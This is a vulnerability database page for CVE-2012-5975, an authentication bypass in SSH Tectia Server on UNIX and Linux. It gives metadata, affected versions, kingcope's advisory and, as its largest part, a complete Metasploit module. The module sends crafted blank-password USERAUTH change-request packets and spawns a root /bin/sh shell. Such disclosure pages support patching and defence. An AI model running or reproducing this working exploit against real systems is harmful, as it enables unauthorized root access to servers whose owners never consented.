CVE-2012-5975 : Detail

CVE-2012-5975

Authorization problems
A07-Identif. and Authent. Fail
25.75%V4
Network
2012-12-04
23h00 +00:00
2024-09-17
02h37 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The SSH USERAUTH CHANGE REQUEST feature in SSH Tectia Server 6.0.4 through 6.0.20, 6.1.0 through 6.1.12, 6.2.0 through 6.2.5, and 6.3.0 through 6.3.2 on UNIX and Linux, when old-style password authentication is enabled, allows remote attackers to bypass authentication via a crafted session involving entry of blank passwords, as demonstrated by a root login session from a modified OpenSSH client with an added input_userauth_passwd_changereq call in sshconnect2.c.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 23082

Publication date : 2012-12-01 23h00 +00:00
Author : kingcope
EDB Verified : Yes

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23082.zip SSH Tectia Remote Authentication Bypass Tectia is the commercial OpenSSH solution. The product can be found at: www.tectia.com An attacker in the possession of a valid username of an SSH Tectia installation running on UNIX (verified: AIX/Linux) can login without a password. The bug is in the SSH USERAUTH CHANGE REQUEST routines which are there to allow a user to change their password. A bug in this code allows an attacker to login without a password by forcing a password change request prior to authentication. The vulnerability has been verified on UNIX operating systems and at least on this (recent) versions: • SSH-2.0-6.1.9.95 SSH Tectia Server (Latest available version from www.tectia.com) • SSH-2.0-6.0.11.5 SSH Tectia Server A default installation on Linux (version 6.1.9.95 of Tectia) is vulnerable to the attack. Kingcope
Exploit Database EDB-ID : 23156

Publication date : 2012-12-04 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Tectia SSH server for Unix-based platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password authentication, allowing any remote user to bypass the login routine, and then gain access as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'kingcope', #Original 0day 'bperry', 'sinn3r' ], 'References' => [ ['EDB', '23082'], ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ ['Unix-based Tectia SSH 6.3.2.33 or prior', {}], ], 'Privileged' => true, 'DisclosureDate' => "Dec 01 2012", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, 'The username to login as', 'root']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def check connect banner = sock.get_once print_status("#{rhost}:#{rport} - #{banner}") disconnect return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/ return Exploit::CheckCode::Safe end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end # # This is where the login begins. We're expected to use the keyboard-interactive method to # authenticate, but really all we want is skipping it so we can move on to the password # method authentication. # def auth_keyboard_interactive(user, transport) print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...") auth_req_pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "keyboard-interactive", #method name :string, "", #lang :string, "" ) user_auth_pkt = Net::SSH::Buffer.from( :byte, 0x3D, #userauth info :raw, 0x01, #number of prompts :string, "", #password :raw, "\0"*32 #padding ) transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive") message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") 2.times do |i| #USRAUTH REQ transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") end end # # The following link is useful to understand how to craft the USERAUTH password change # request packet: # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903 # def userauth_passwd_change(user, transport, connection) print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...") pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "password" #method name ) pkt.write_bool(true) pkt.write_string("") #Old pass pkt.write_string("") #New pass transport.send_message(pkt) message = transport.next_message.type vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS transport.send_message(transport.service_request("ssh-userauth")) message = transport.next_message.type if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true) connection = nil return shell end end end def do_login(user) opts = {:user=>user, :record_auth_info=>true} options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts) transport = Net::SSH::Transport::Session.new(rhost, options) connection = Net::SSH::Connection::Session.new(transport, options) auth_keyboard_interactive(user, transport) userauth_passwd_change(user, transport, connection) end def exploit # Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're # engaging a variety of SSHD targets on a network. if check != Exploit::CheckCode::Appears print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.") return end c = nil begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do c = do_login(datastore['USERNAME']) end rescue Rex::ConnectionError, Rex::AddressInUse return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return end handler(c.lsock) if c end end

Products Mentioned

Configuraton 0

Ssh>>Tectia_server >> Version 6.0.4

Ssh>>Tectia_server >> Version 6.0.5

Ssh>>Tectia_server >> Version 6.0.6

Ssh>>Tectia_server >> Version 6.0.7

Ssh>>Tectia_server >> Version 6.0.8

Ssh>>Tectia_server >> Version 6.0.9

Ssh>>Tectia_server >> Version 6.0.10

Ssh>>Tectia_server >> Version 6.0.11

Ssh>>Tectia_server >> Version 6.0.12

Ssh>>Tectia_server >> Version 6.0.13

Ssh>>Tectia_server >> Version 6.0.14

Ssh>>Tectia_server >> Version 6.0.17

Ssh>>Tectia_server >> Version 6.0.18

Ssh>>Tectia_server >> Version 6.0.19

Ssh>>Tectia_server >> Version 6.0.20.

Ssh>>Tectia_server >> Version 6.1.0

Ssh>>Tectia_server >> Version 6.1.1

Ssh>>Tectia_server >> Version 6.1.2

Ssh>>Tectia_server >> Version 6.1.3

Ssh>>Tectia_server >> Version 6.1.4

Ssh>>Tectia_server >> Version 6.1.5

Ssh>>Tectia_server >> Version 6.1.6

Ssh>>Tectia_server >> Version 6.1.7

Ssh>>Tectia_server >> Version 6.1.8

Ssh>>Tectia_server >> Version 6.1.9

Ssh>>Tectia_server >> Version 6.1.12

Ssh>>Tectia_server >> Version 6.2.0

Ssh>>Tectia_server >> Version 6.2.1

Ssh>>Tectia_server >> Version 6.2.2

Ssh>>Tectia_server >> Version 6.2.3

Ssh>>Tectia_server >> Version 6.2.4

Ssh>>Tectia_server >> Version 6.2.5

Ssh>>Tectia_server >> Version 6.3.0

Ssh>>Tectia_server >> Version 6.3.1

Ssh>>Tectia_server >> Version 6.3.2

Linux>>Linux_kernel >> Version *

References

http://www.exploit-db.com/exploits/23082/
Tags : exploit, x_refsource_EXPLOIT-DB